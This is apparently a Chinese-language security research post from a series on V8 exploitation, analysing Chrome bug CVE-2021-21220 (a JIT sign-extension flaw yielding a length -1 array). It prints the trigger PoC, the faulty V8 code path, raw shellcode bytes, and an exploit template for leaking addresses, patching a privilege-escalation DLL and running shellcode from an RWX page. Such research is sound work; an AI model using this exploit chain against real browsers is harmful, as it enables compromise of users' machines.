作者:Hcamael@知道創宇404實驗室
時間:2022年02月21日
相關閱讀:
從 0 開始學 V8 漏洞利用之環境搭建(一)
從 0 開始學 V8 漏洞利用之 V8 通用利用鏈(二)
從 0 開始學 V8 漏洞利用之 starctf 2019 OOB(三)
從 0 開始學 V8 漏洞利用之 CVE-2020-6507(四)
從0開始學 V8 漏洞利用之 CVE-2021-30632(五)
從 0 開始學 V8 漏洞利用之 CVE-2021-38001(六)
從 0 開始學 V8 漏洞利用之 CVE-2021-30517(七)
第六個研究的是CVE-2021-21220,其chrome的bug編號為:1196683
可以很容易找到其相關信息:
受影響的Chrome最高版本為:89.0.4389.114
受影響的V8最高版本為:8.9.255.24
并且還附帶了exp
搭建環境
一鍵編譯相關環境:
$ ./build.sh 8.9.255.24
漏洞分析
因為通過之前的文章,已經對模板套路很熟悉了,所以在之后的文章中,將不會過多講訴套模板編寫exp,而會讓重點放在一些之前文章中沒有的點上,更著重在漏洞利用技巧這塊。
該漏洞的PoC如下:
const _arr = new Uint32Array([2**31]);
function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);
x -= 1;
if(x==-1) x = 0;
var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
上述PoC來源于:https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js
因為我認為這個PoC更利于理解該漏洞。
根據我的理解,我做了如下修改:
var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
var x = 1;
x = (b[0] ^ 0) + 1; // 0x80000000 + 1
x = Math.abs(x); // 0x80000001 0x7fffffff
x -= 0x7fffffff; // 2 0
x = Math.max(x, 0); // 2 0
x -= 1; // 1 -1
if(x==-1) x = 0; // 1 0
trigger_array = new Array(x); // 1 0
trigger_array.shift();
var da = [1.1, 2.2];
var ob = [{a: 1,b: 2}];
return [da, ob];
}
在正常情況下,該函數的邏輯:
- b[0]為uint32類型的變量,其值為0x80000000。
- 異或了0以后,變成了int32類型,其值為-2147483648。
- 加上1以后,變成了-2147483647,賦值給了x。但是類型會被擴展成int64,因為js的變量是弱類型,如果x一開始的類型是int32,值為2147483647(0x7fffffff),那么x+1不會變成-1,而會變成。2147483648(0x80000000),因為int32被擴展成了int64。
- 然后使用math.abs函數計算絕對值,x值變為2147483647(0x7fffffff)。
- x - 0x7FFFFFFF = 0。
- 使用math.max函數計算x與0之間的最大值,為0。
- x - 1 = -1。
- 因為x=-1,所以x改為0。
- 新建了一個長度為0的數組。
- 因為長度為0,所以shitf無效,數組不變。
但是上述邏輯,經過JIT優化以后,就不一樣了:
- b[0]為uint32類型的變量,其值為0x80000000。
- 將其轉化成int64類型,其值為0x80000000。
- 加上1以后,變成了0x80000001。
- 然后使用math.abs函數計算絕對值,x值變為0x80000001。
- x - 0x7FFFFFFF = 2。
- 使用math.max函數計算x與0之間的最大值,為2。
- x - 1 = 1。
- 新建了一個長度為1的數組。
- shitf函數將數組的長度設置為-1,這就讓我們得到了長度為-1的數組,通過該數據進行后續利用。
在JIT的優化過程中,存在兩個問題:
1.將b[0]轉化為int64,把符號去掉了,從Turbo流程圖看,是通過ChangeInt32ToInt64來改變b[0]的變量類型,而在這個opcode實現的代碼中:
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
......
switch (rep) {
case MachineRepresentation::kBit: // Fall through.
case MachineRepresentation::kWord8:
opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
break;
case MachineRepresentation::kWord16:
opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
break;
case MachineRepresentation::kWord32:
opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
break;
default:
UNREACHABLE();
return;
}
......
根據上面代碼可以看出,如果b[0]是有符號的,那么將會使用kX64Movsxlq指令進行轉換,如果是無符號的就會使用kX64Movl指令進行轉換。
b[0]因為是一個uint32類型的變量,所以使用movl進行擴展大小,所以沒有擴展其符號,導致出現了問題。
2.shitf函數將數組長度設置為-1。
shift函數的正常邏輯是,判斷數組的長度,如果其長度大于0,并且小于100,那么將會對長度的賦值進行優化,預測其長度,然后進行減1操作,直接寫入數組的長度。
在JIT的預測當中,x的值為0,因為其預測是按照沒有bug的情況進行預測的,但是實際情況x為1,這就導致實際情況的x通過了shitf的長度檢查,然后卻把x認為是0,從而-1,把數組的長度設置為了-1。
CVE-2021-21220總結
該漏洞的成因還是挺容易理解的,這研究其原理的過程中也要學會看Turbo,后續將為專門看Turbo的opcode寫一篇paper。
Windows Chrome利用一條龍
接下來再記錄一下v8漏洞在Windows實際的利用。
v8只是Chrome瀏覽器解析JavaScript代碼的一個引擎,就算通過v8代碼漏洞,能執行shellcode,也沒辦法獲取到系統權限,因為在v8引擎的外層還一層沙箱,所以在v8漏洞的分析利用文章中,最后顯示的效果都需要讓Chrome啟動加上--no-sandbox參數,所以v8漏洞的實際利用場景只能找一些使用了Chrome內核,并且沒有開沙箱的應用。
除此之前,v8需要結合一些其他的漏洞,比如沙箱逃逸/提權漏洞,才能真正打穿Chrome。
本文說說,在Windows的環境下,怎么編寫exp來結合Windows提權漏洞,來打穿Chrome。
1.你真正想執行的shellcode:
// shellcode.js
let usershellcode=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x0,0x0];
把一個彈計算器的shellcode設置一個變量,儲存在shellcode.js中
2.找一個Windows大哥,寫一個Windows提權的loadpe(這部分內容后續會讓我同事進行編寫),并且寫入loadpe中,loadpe的二進制將會寫入dll.js。
// dll.js
let dll=[......];
這loadpe在進行Windows提權后,將會執行shellcode.js中的shellcode,而shellcode的地址,我們需要在exp中泄漏出來:
var myshell = new Uint8Array(0x1000);
for (i = 0x0; i < usershellcode.length; i++) {
myshell[i] = usershellcode[i];
}
var shellDataAddr = addressOf(myshell);
console.log("[*] leak shellcode data addr: 0x" + hex(shellDataAddr));
var shellAddr = read64(shellDataAddr + 0x28n);
alert("[*] leak my shellcode addr: 0x" + hex(ftoi(shellAddr)));
bshellAddr = ftob(shellAddr);
addr_offset = ???;
let dllData = new Uint8Array(dll.length);
for (i = 0x0; i < dll.length; i++) {
if (i>= addr_offset && i < addr_offset+8) {
dllData[i] = bshellAddr[i-addr_offset];
} else {
dllData[i] = dll[i];
}
}
3.我們需要泄漏出dll的地址,然后exp的shellcode作用是把loadpe內存設置為可讀可寫可執行權限,然后跳轉過來:
var dllDataAddr = addressOf(dllData);
console.log("[*] leak dll data addr: 0x" + hex(dllDataAddr));
var dllAddr = read64(dllDataAddr + 0x28n);
alert("[*] leak dll addr: 0x" + hex(ftoi(dllAddr)));
var shellcode = [......];
bdllAddr = ftob(dllAddr);
Offset = ???;
for (let i = 0x0; i < 0x8; i++) {
shellcode[0x2 + i] = bdllAddr[i];
shellcode[Offset + 0x2 + i] = bdllAddr[i];
}
var Uint8Shellcode = new Uint8Array(shellcode.length);
var Uint64Shellcode = new BigUint64Array(Uint8Shellcode.buffer);
for (let i = 0x0; i < shellcode.length; i++) {
Uint8Shellcode[i] = shellcode[i];
}
copy_shellcode_to_rwx(Uint64Shellcode, rwx_page_addr);
f();
按照這樣的模板編寫EXP,就可以跟Windows大哥編寫loadpe的提權exp完美結合起來,我研究v8相關的漏洞,他研究Windows相關的漏洞,然后我們的成果卻可以相互結合。
參考
- https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
- https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1850/
暫無評論